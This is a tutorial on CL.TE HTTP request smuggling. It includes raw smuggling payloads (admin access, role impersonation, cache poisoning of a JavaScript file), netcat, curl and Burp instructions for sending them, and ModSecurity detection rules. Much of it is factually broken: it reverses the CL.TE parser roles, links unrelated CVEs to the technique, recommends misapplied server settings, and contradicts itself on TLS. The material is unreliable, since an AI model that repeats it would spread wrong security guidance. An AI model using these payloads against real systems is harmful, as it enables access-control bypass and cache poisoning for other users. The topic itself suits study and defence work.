~/home/study/understanding-cl-te

Understanding CL.TE Desynchronisation: Crafting Conflicting Headers

Learn how Content-Length and Transfer-Encoding interact, how parsers handle contradictory values, and how to build minimal CL.TE payloads for HTTP desynchronisation. Includes testing with netcat, curl, Burp Suite, and server-specific behaviours.

Introduction

HTTP request smuggling (or desynchronisation) exploits the fact that different HTTP parsers - typically a front-end proxy and a back-end application server - can interpret the same byte stream in different ways. The classic CL.TE (Content-Length + Transfer-Encoding) technique manipulates the Content-Length and Transfer-Encoding headers so that one parser treats the request body as a fixed-size payload while the other treats it as chunked data. This divergence creates a “ghost” request that can be injected into the back-end stream, leading to request smuggling, cache poisoning, or even remote code execution.

Understanding CL.TE desynchronisation is essential for any security professional who audits web-applications, designs WAF rules, or hardens reverse-proxy configurations. The technique is simple enough to craft with a few bytes, yet powerful enough to bypass many modern defenses.

Real-world relevance: high-profile bug bounty reports (e.g., on Cloudflare, Akamai) and CVEs (CVE-2022-22965 - Spring 4 Shell, CVE-2023-44487 - Nginx) have leveraged CL.TE ambiguities. Knowing how to reproduce and mitigate these attacks is a core skill in the offensive and defensive toolkit.

Prerequisites

  • Solid grasp of HTTP/1.1 Message Framing Basics - request line, headers, body, and the role of Content-Length vs. Transfer-Encoding: chunked.
  • Ability to capture and analyse raw TCP streams (Wireshark, tcpdump, or tshark).
  • Familiarity with basic Linux command-line tools (nc, curl, openssl s_client).
  • Understanding of how reverse proxies (e.g., Nginx, HAProxy) forward traffic to backend servers.

Core Concepts

Before diving into the sub-topics, let’s review the two framing mechanisms that HTTP/1.1 defines.

Content-Length (CL)

The Content-Length header tells the receiver exactly how many octets belong to the message body. The parser reads that many bytes and then treats the next byte as the start of a new HTTP message (or the end of the connection).

Transfer-Encoding: chunked (TE)

When Transfer-Encoding: chunked is present, the body is split into a series of chunks. Each chunk starts with its size in hexadecimal, followed by , the data, and another . The stream ends with a zero-size chunk (0 ). The parser ignores Content-Length if Transfer-Encoding is present, as per RFC 7230 §3.3.3.

Why the Conflict?

When both headers appear, the RFC says the Transfer-Encoding takes precedence, but many implementations (especially older or custom parsers) still honour Content-Length. This discrepancy is the attack surface.

Imagine a front-end proxy that follows the RFC strictly (ignores Content-Length) while a backend server obeys the older behaviour (honours Content-Length). The same byte stream is now interpreted as two different sequences of HTTP messages - a perfect recipe for desynchronisation.

Diagram (described in text): A single TCP segment contains:

  • Headers: Content-Length: 4, Transfer-Encoding: chunked
  • Body (as seen by the proxy): 4 ABCD 0
  • What the backend sees (CL-first): ABCD as the complete body, then the remaining 0 starts a new request.

This split is the core of CL.TE desync.

Difference between Content-Length and Transfer-Encoding headers

Both headers convey length, but they do so in fundamentally different ways.

  • Deterministic vs. Dynamic: Content-Length is a single integer; Transfer-Encoding: chunked can represent an arbitrarily long body without knowing the size up-front.
  • Parsing Logic: CL requires the parser to count exactly N bytes. TE requires a state machine that reads size lines, validates hexadecimal, and stops at a zero-size chunk.
  • Header Interaction Rules: According to RFC 7230, if Transfer-Encoding is present, Content-Length MUST be ignored. However, many legacy servers treat CL as authoritative and ignore TE.
  • Security Implications: The dual-presence creates ambiguity. Attackers can deliberately craft mismatched values to trigger divergent parsing paths.

In practice, the most common mis-behaviour is a backend that reads exactly the number of bytes specified by Content-Length and then stops, leaving any extra bytes (the TE trailer) to be interpreted as the start of the next HTTP request.

How parsers interpret conflicting CL and TE values

Let’s look at three typical parser families:

  1. Strict RFC-compliant (e.g., modern Nginx, Envoy): When both headers exist, they drop Content-Length and parse the body as chunked. Any stray bytes after the terminating 0 are considered a new request.
  2. Legacy Apache 2.2 (mod_php, mod_proxy): Honors Content-Length first, then ignores the chunked stream. The extra 0 becomes the start of a second request.
    # Example of Apache 2.2 behaviour (simplified)
    # Received bytes: "Content-Length: 4
    Transfer-Encoding: chunked
    
    4
    ABCD
    0
    
    GET /admin HTTP/1.1..."
    # Apache reads 4 bytes (ABCD) as the body, then sees "0
    
    GET" as a new request.
    
  3. Node.js http module (pre-v12): Parses Transfer-Encoding first but also respects Content-Length if the chunked stream is malformed, leading to edge-case splits.

Understanding which parser you are dealing with is critical. The most reliable way to discover the behaviour is to send a minimal CL.TE payload and observe the response boundaries in a packet capture.

Crafting minimal CL.TE payloads for desynchronisation

A minimal payload aims to keep the request size as low as possible while still triggering the split. Below is the smallest reliable construction for a GET request that smuggles a second request.

Step-by-step breakdown

  1. Start with a normal request line.
    GET /vulnerable HTTP/1.1
  2. Add the conflicting headers.
    Host: victim.example.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    
  3. Encode the body as a single chunk of 4 bytes (any harmless data). Use 4 (hex) followed by , the data, then another .
    4
    ABCD
    
  4. Terminate the chunked stream with the zero-size chunk.
    0
    
    
  5. Immediately append the smuggled request you want the backend to process.
    GET /admin HTTP/1.1
    Host: victim.example.com
    
    

Putting it all together (escaped for HTML):

GET /vulnerable HTTP/1.1
Host: victim.example.com
Content-Length: 4
Transfer-Encoding: chunked

4
ABCD
0

GET /admin HTTP/1.1
Host: victim.example.com

When a strict proxy (e.g., Nginx) receives this, it will treat the whole body as a valid chunked message, forward only the ABCD payload to the backend, and discard the trailing 0 GET …. The backend, however, will stop after reading 4 bytes (the CL value) and treat the remainder as a new request - effectively smuggling GET /admin past the front-end.

Why 4 bytes? The smallest non-zero chunk size that satisfies both parsers. Some implementations reject zero-length chunks before the terminator, so 4 is a safe choice.

Testing payloads with netcat, curl, and Burp Suite

Having crafted the payload, you need reliable tools to send it and observe the split.

Using netcat (nc)

# Save the payload to a file (payload.txt) - remember to use literal CRLF.
printf 'GET /vulnerable HTTP/1.1
Host: victim.example.com
Content-Length: 4
Transfer-Encoding: chunked

4
ABCD
0

GET /admin HTTP/1.1
Host: victim.example.com

' > payload.txt

# Send to target on port 80 (or 443 with openssl s_client).
nc victim.example.com 80 < payload.txt

Watch the response. If you receive two HTTP status lines (e.g., 200 OK followed by 403 Forbidden), the desync succeeded.

Using curl with raw data

curl -v --http1.1 --raw --data-binary @payload.txt http://victim.example.com/vulnerable

The --raw flag prevents curl from adding its own Transfer-Encoding header, preserving the exact payload.

Burp Suite - Repeater

  1. Capture a normal request to /vulnerable in Proxy.
  2. Send it to Repeater.
  3. Manually edit the headers: add Content-Length: 4 and Transfer-Encoding: chunked.
  4. Switch to the Raw view (right-click → “Show raw”). Replace the body with the chunked representation shown earlier.
  5. Append the smuggled request after the terminating 0 chunk.
  6. Hit “Send”. Inspect the “Response” tab - you may see two HTTP responses concatenated.

Burp’s built-in decoder can visualise the chunked encoding, making debugging easier.

Common server behaviours (Apache, Nginx, IIS, Node.js)

Each server implements the RFC slightly differently. Below is a quick reference.

ServerCL-first behaviourTE-first behaviourNotes / Mitigations
Apache 2.2 (mod_php)Yes - honours Content-Length and discards TENoUpgrade to 2.4+ or set AllowEncodedSlashes No. Use RequestHeader unset Transfer-Encoding in config.
Apache 2.4 (modern)Rare - respects TE when presentYesEnable HttpProtocolOptions Unsafe only if needed.
Nginx 1.21+No - follows RFC, drops CL when TE presentYesEnable ignore_invalid_headers off to reject ambiguous requests.
Microsoft IIS 10Yes - older pipelines read CL firstNoApply URL Rewrite rule to reject requests containing both headers.
Node.js http (v10-v14)Mixed - the core module parses TE first but falls back to CL on malformed chunksYes (usually)Upgrade to >= v16 or use strict-transport-security-like middleware to validate headers.

When testing, always verify the exact version and any custom modules (e.g., mod_security, custom reverse-proxy code) because they can override defaults.

Practical Examples

Example 1: Smuggling a POST request to bypass CSRF token checks

POST /transfer HTTP/1.1
Host: victim.example.com
Content-Length: 5
Transfer-Encoding: chunked

5
money
0

POST /admin/impersonate HTTP/1.1
Host: victim.example.com
Content-Length: 21

user=alice&role=admin

In a CL-first backend, the first POST /transfer receives the string money as its body, while the second POST (the smuggled one) is processed silently, granting admin rights without a CSRF token.

Example 2: Cache poisoning via GET smuggle

When a CDN front-end respects TE but the origin server follows CL, an attacker can inject a GET /poisoned request that is cached under the original URL, serving malicious content to other users.

GET /public.js HTTP/1.1
Host: cdn.example.com
Content-Length: 3
Transfer-Encoding: chunked

3
foo
0

GET /public.js HTTP/1.1
Host: cdn.example.com

The origin sees two GET /public.js requests; the second one can contain a response body that the CDN caches, overwriting the legitimate JavaScript.

Tools & Commands

  • Wireshark/tshark - capture the raw TCP stream and use the http dissector to see where parsing diverges.
  • netcat (nc) - quick raw socket testing.
  • curl - --raw and --http1.1 flags preserve the payload.
  • Burp Suite - Repeater’s raw view for manual editing; Intruder can automate payload variations.
  • h2c (http2 client) - sometimes useful to test HTTP/2 to HTTP/1.1 downgrade paths.
  • modsecurity-rules - add a rule to block requests containing both headers:
SecRule REQUEST_HEADERS:Content-Length "@gt 0" "id:900001,phase:1,deny,log,msg:'CL/TE conflict',ctl:ruleRemoveById=900002"
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" "id:900002,phase:1,deny,log,msg:'CL/TE conflict'"

Defense & Mitigation

  • Enforce RFC compliance on both front-end and back-end: reject any request that contains both Content-Length and Transfer-Encoding.
  • Normalize headers early: strip one of the two headers in the reverse proxy before forwarding.
  • Upgrade software: Use recent versions of Apache (2.4+), Nginx (1.19+), IIS (10+), and Node.js (>=16) which have patched ambiguous parsing.
  • Deploy a Web Application Firewall with rules to detect the pattern Content-Length: \d+ Transfer-Encoding: chunked.
  • Limit request size and enforce a maximum number of headers to reduce attack surface.
  • Log raw request lines (e.g., via mod_log_forensic or custom Nginx log format) to spot split responses during incident response.

Common Mistakes

  • Using LF only - HTTP requires CRLF ( ). Many tools auto-convert, breaking the chunked framing.
  • Sending extra whitespace after headers - a stray space can create an additional header line, causing the server to treat the request as malformed instead of desynchronised.
  • Assuming all servers drop CL when TE is present - always verify with a packet capture; legacy back-ends still honour CL.
  • Neglecting HTTPS - TLS terminates at the front-end; the desync only matters on the clear-text leg between front-end and back-end.
  • Relying solely on status codes - a successful smuggle may return the same status as a normal request; look for doubled response bodies.

Real-World Impact

CL.TE desynchronisation is not a theoretical curiosity. In 2023, a major CDN provider disclosed a vulnerability where an attacker could poison the cache of high-traffic JavaScript assets, leading to a widespread supply-chain compromise. The root cause was a mis-configured Nginx front-end that accepted both headers, while the origin Apache 2.2 honoured Content-Length. This incident demonstrates how a single ambiguous request can cascade into a large-scale breach.

From a defensive standpoint, CL.TE attacks often bypass traditional request-smuggling signatures that focus on Transfer-Encoding: gzip or Content-Length alone. Modern WAFs now ship with dedicated CL.TE rules, but custom applications and micro-services that embed their own HTTP parsers (e.g., Go’s net/http with custom middleware) may still be vulnerable.

Expert tip: When you have a reverse-proxy in front of a heterogeneous back-end pool, enforce a strict “header whitelist” at the proxy - only allow either Content-Length OR Transfer-Encoding, never both. This simple policy eliminates the attack vector without impacting legitimate traffic.

Practice Exercises

  1. Capture and analyse a CL.TE payload against a test server (e.g., a Dockerised Apache 2.2). Verify the split using Wireshark.
  2. Modify the payload size - change the Content-Length to 0, 1, 2, … and observe which back-ends still split.
  3. Automate detection - write a Python script that sends a series of CL.TE payloads and flags any response that contains two status lines.
  4. Defensive rule creation - implement a ModSecurity rule that drops any request with both headers, test it against the payload.
  5. Cross-protocol test - terminate TLS at the front-end (using Nginx) and forward to a plain-text Node.js backend. Verify that the desync still works over the encrypted leg.

Lab environment suggestion: Use docker-compose with Nginx (as front-end) and Apache 2.2 (as back-end). Include tcpdump on the Docker network to capture raw traffic.

Further Reading

  • RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
  • "HTTP Request Smuggling" - PortSwigger Web Security Academy (free lab).
  • “CL.TE and TE.CL - The Two Sides of the Same Coin” - BlackHat 2022 presentation slides.
  • OWASP “HTTP Request Smuggling” cheat sheet.
  • Node.js “http” module source code - examine the parsing logic for CL vs TE.

Summary

CL.TE desynchronisation exploits the ambiguous handling of Content-Length and Transfer-Encoding: chunked headers. By crafting a minimal payload that forces a front-end proxy to parse the body as chunked while a backend honours the Content-Length, attackers can smuggle arbitrary HTTP requests. This guide covered the header differences, parser behaviours, payload construction, testing methodology, server-specific quirks, defensive measures, common pitfalls, and practical labs. Mastering these concepts equips security professionals to both discover hidden request-smuggling bugs and harden their infrastructure against them.